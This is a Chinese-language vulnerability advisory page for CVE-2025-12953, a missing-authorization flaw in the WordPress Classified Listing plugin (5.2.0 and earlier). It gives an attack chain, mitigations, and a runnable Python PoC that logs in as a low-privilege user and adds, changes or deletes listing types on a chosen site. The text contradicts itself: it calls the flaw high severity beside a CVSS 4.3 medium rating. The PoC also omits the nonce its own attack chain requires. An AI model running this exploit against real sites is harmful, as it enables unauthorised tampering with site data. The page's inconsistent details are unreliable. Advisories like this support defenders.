IPBUF安全漏洞报告
English
CVE-2025-12953 CVSS 4.3 中危

CVE-2025-12953 WordPress Classified Listing插件权限绕过漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-12953
漏洞类型
权限绕过/越权访问
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Classified Listing – AI-Powered Classified ads & Business Directory Plugin

相关标签

CVE-2025-12953WordPress插件漏洞权限绕过Missing AuthorizationClassified ListingAJAX端点漏洞WordPress安全访问控制缺失中危漏洞WPScan

漏洞概述

CVE-2025-12953是WordPress插件Classified Listing(版本5.2.0及之前)中的一个高危权限绕过漏洞。该插件是一款功能强大的分类广告和商业目录插件,被广泛应用于WordPress网站。漏洞源于三个关键的AJAX端点(rtcl_ajax_add_listing_type、rtcl_ajax_update_listing_type、rtcl_ajax_delete_listing_type)缺少适当的权限检查机制。攻击者利用此漏洞可以在未获得管理员权限的情况下,通过低权限账户(如订阅者角色)执行 listing type 的添加、更新和删除操作。这可能导致网站内容被恶意篡改、业务逻辑被破坏,甚至可能造成业务中断。由于该插件在商业网站中广泛使用,此漏洞可能影响大量在线业务平台的数据完整性和正常运行。

技术细节

该漏洞属于典型的WordPress权限控制缺失问题(Missing Authorization)。在正常的安全设计中,涉及内容管理(如添加、更新、删除listing types)的AJAX端点应当检查当前用户是否具有管理选项的权限(manage_options capability)。然而,代码审计显示受影响的三个AJAX端点在处理请求时直接执行数据库操作,未进行权限验证。具体来说:1) rtcl_ajax_add_listing_type允许任意认证用户创建新的分类类型;2) rtcl_ajax_update_listing_type允许修改现有分类类型的属性;3) rtcl_ajax_delete_listing_type允许删除分类类型。这些操作本应仅限管理员执行,但由于缺少current_user_can('manage_options')检查,WordPress的任何已认证用户(包括订阅者角色)都可以通过向wp-admin/admin-ajax.php发送请求来触发这些操作。攻击者可以利用WordPress的subscriber角色或更高级别角色发起攻击,无需任何特殊权限或用户交互。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress网站的低权限账户(如订阅者角色),或通过注册功能创建新账户
STEP 2
步骤2
攻击者使用该账户登录WordPress,获取有效的认证cookie和nonce令牌
STEP 3
步骤3
攻击者构造恶意AJAX请求,指向wp-admin/admin-ajax.php,端点为rtcl_ajax_add_listing_type/rtcl_ajax_update_listing_type/rtcl_ajax_delete_listing_type
STEP 4
步骤4
由于插件缺少current_user_can('manage_options')检查,服务器接受请求并执行数据库操作
STEP 5
步骤5
攻击者成功添加、修改或删除listing types,实现对网站业务逻辑的未授权修改

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-12953 PoC - WordPress Classified Listing Plugin Authorization Bypass This PoC demonstrates the missing capability check vulnerability in the Classified Listing plugin. """ import requests import sys from urllib.parse import urljoin def exploit_cve_2025_12953(target_url, username, password, action='add'): """ Exploit the missing authorization vulnerability in WordPress Classified Listing plugin. Args: target_url: Base URL of the WordPress site username: WordPress username (subscriber level or higher) password: WordPress password action: 'add', 'update', or 'delete' """ # Step 1: Authenticate to WordPress session = requests.Session() login_url = urljoin(target_url, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } print(f"[*] Authenticating as {username}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Prepare AJAX request based on action ajax_url = urljoin(target_url, 'wp-admin/admin-ajax.php') if action == 'add': # Add a new listing type payload = { 'action': 'rtcl_ajax_add_listing_type', 'listing_type': { 'name': 'Malicious Type', 'slug': 'malicious-type', 'description': 'Injected by CVE-2025-12953' } } print("[*] Adding malicious listing type...") elif action == 'update': # Update existing listing type (replace ID with actual) payload = { 'action': 'rtcl_ajax_update_listing_type', 'listing_type': { 'id': 1, 'name': 'Modified Type', 'description': 'Modified by CVE-2025-12953' } } print("[*] Updating listing type...") elif action == 'delete': # Delete listing type (replace ID with actual) payload = { 'action': 'rtcl_ajax_delete_listing_type', 'listing_type_id': 1 } print("[*] Deleting listing type...") else: print("[-] Invalid action") return False # Step 3: Send AJAX request without admin privileges print("[*] Sending AJAX request (subscriber-level access)...") response = session.post(ajax_url, data=payload) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Request failed with status {response.status_code}") return False if __name__ == '__main__': if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <action>") print("Actions: add, update, delete") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] action = sys.argv[4] exploit_cve_2025_12953(target, user, pwd, action)

影响范围

Classified Listing Plugin <= 5.2.0

防御指南

临时缓解措施
在官方补丁发布之前,可以通过以下方式临时缓解:1) 临时禁用或删除Classified Listing插件;2) 使用.htaccess或防火墙规则限制admin-ajax.php的访问来源;3) 禁用WordPress用户注册功能;4) 监控wp-content/uploads目录和数据库中异常的listing type数据;5) 考虑使用Web应用防火墙(WAF)规则阻止针对rtcl_ajax_*端点的异常请求。建议优先部署官方安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表